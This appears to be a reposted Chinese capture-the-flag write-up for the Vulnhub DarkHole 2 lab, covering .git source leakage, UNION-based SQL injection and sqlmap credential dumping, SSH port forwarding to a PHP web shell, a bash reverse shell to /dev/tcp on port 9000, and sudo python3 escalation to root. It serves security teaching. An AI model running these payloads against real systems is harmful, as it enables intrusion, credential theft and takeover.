Vulnhub-DarkHole_2-Writeup

靶机地址:DARKHOLE: 2

Difficulty: Hard

目标发现与探索

使用arp-scan发现目标IP

arp-scan -l

使用nmap扫描开放端口

nmap -sV -p- 192.168.164.194

打开目标80端口发现没什么东西,查看源代码也没什么,只有一个登录连接

我们点进登录页面

想到可能是SQL注入,但是尝试之后没有结果。

太久没做了,都忘记该怎么做了,然后就去看了一下别人的解题过程,下面才是这个靶机的正确打开方式。

.git源码泄露漏洞

首先使用nmap -A 192.168.164.194进行扫描时,可以发现一个http-git页面

这里涉及.git源码泄露漏洞。.git文件夹里面保存了很多信息,用户所有的git操作和被操作的文件都会被记录,而且.git文件夹是个隐藏文件夹,所以管理员可能没注意到,将“.git”文件夹直接部署到线上环境,这就造成了git泄露问题。

利用方法可以使用Git源码泄露利用工具,也可以直接爬取整个git目录,我们使用后面这种方法。

(1)将这个git 库下载下来,-r表示递归下载,然后进入该目录

wget -r http://192.168.164.194/.git
cd 192.168.164.194

(2)利用git log命令查看提交过的记录

我们发现在a4d900a这个记录里写着login.php带了一个默认凭证。

(3)使用git reset --hard [log hash]恢复到指定版本号,--hard参数撤销工作区中所有未提交的修改内容,将暂存区与工作区都回到上一次版本,并删除之前的所有信息提交。

git reset --hard a4d900a

然后我们查看login.php的内容

vim login.php

然后就看到了邮箱账号密码,然后在网页端登录。

SQL 注入

登录后如下图,网址中id可能参数存在SQL注入

加上一个单引号后,页面变白,说明应该存在SQL注入漏洞

可以使用手工注入或利用SQLMAP工具注入,我们先使用手工注入,然后再来一次sqlmap注入。

手工注入

首先通过ORDER BY尝试确定列数,根据页面信息应该多于4列。

id=1' ORDER BY 5 --+
id=1' ORDER BY 6 --+
id=1' ORDER BY 7 --+
# 前面正常显示,当为7时页面空白,所以可以确定列数为6

然后构造UNION语句,确定哪些列的数据被显示在页面中。

id=' UNION ALL SELECT 1,2,3,4,5,6 --+

可以看到,2、3、5、6列被显示在页面上。然后将对应的数字换成SQL查询语句从而获取数据库中的信息。

查询数据库名(也可以通过源码的配置文件直接获得)

id=' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+

页面数据可能显示不全,可以查看原代码或检查元素,得到数据库名为darkhole_2

然后利用information_schema数据库获得表名、列名、数据。

#得到ssh表和user表
id=' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'--+
#查询ssh表获得列名:id, pass, user
id=' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'--+
#查询ssh表中的user和pass列的数据
id=' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh--+

得到账号和密码,然后利用ssh就可以登录到jehad账户。

SQLMAP注入

在使用sqlmap之前,我们还要先获取cookie,直接使用浏览器开发者工具就可以。

然后使用sqlmap进行注入,获取当前数据库名(也可以通过源码的配置文件直接获得)

#获取当前数据库名
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql --current-db

#获取表
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql -D darkhole_2 --tables

#获取ssh表数据
sqlmap -u 'http://192.168.164.194/dashboard.php?id=1' --cookie='PHPSESSID=jk07n43rgooa5sg5dbnbi2a0cv' --dbms=mysql -D darkhole_2 -T ssh --dump

得到账户名和密码同样利用ssh登录。

远程命令执行漏洞

使用SSH登录

ssh jehad@192.168.164.194
#输入密码
id

一般权限提升一般通过查看sudo权限,发现具有特殊权限的文件,发现秘密文件,还有一些历史记录,定时任务,系统软件版本漏洞什么的。

这道题这里采用的是定时任务,输入命令查看定时任务。

cat /etc/crontab

可以看到运行了一个php服务器在9999端口上,用户为losy,我们可以尝试去看一下原代码。

发现居然是个一句话木马,我们可以通过携带我们想要执行的命令的cmd参数访问这个链接就可以以losy的身份执行命令。不过这个链接只能本地访问,因为我们已经获取了目标靶机的一个用户,所以我们可以使用SSH的本地转发功能(SSH -L)。

这个功能是在本地监听一个端口,但该端口的连接被转发到远程主机的特定端口。相当于把远程端口映射到本地,即“将远程端口放在本地”。如下例子将监听本地9999端口,任何访问9999的客户端,都相当于远程访问example.com 的80端口,但是流量是通过 remote.server 的,并且所有流量都被加密.

ssh -L 0.0.0.0:9999:example.com:80 user@remote.server

还有一种变体:目标主机与代理主机可以是同一台主机,即将remote.server服务映射到本地:

ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server

我们使用这个命令将目标靶机的本地9999映射到本地9999端口。

ssh -L 9999:127.0.0.1:9999 jehad@192.168.164.194

然后我们在浏览器中访问9999端口,传入cmd参数

可以看到,用户为losy,我们可以反弹一个losy的shell

bash -c 'bash -i >& /dev/tcp/192.168.164.179/9000 0>&1'

进行URL编码后

bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/192.168.164.179/9000%200%3E%261%27

利用nc -nvlp 9000在本地开启监听,然后将上面命令作为cmd参数访问,从而拿到shell,然后对shell进行升级

python3 -c 'import pty;pty.spawn("/bin/bash")'

获取Root权限

在losy用户的.bash_history文件里,可以发现他的密码

然后查看sudo权限,发现可以以root身份执行python3

那我们就可以以超级管理员身份开启一个shell

sudo python3 -c 'import os; os.system("/bin/bash")'

拿到flag。

参考文章

Git 菜鸟教程

如何利用.git文件夹下载整个网站泄漏的源码

「OpenSSH」- 端口转发

DarkHole_2 Walkthrough – Vulnhub – Writeup

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/C0ngvv/p/16111085.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!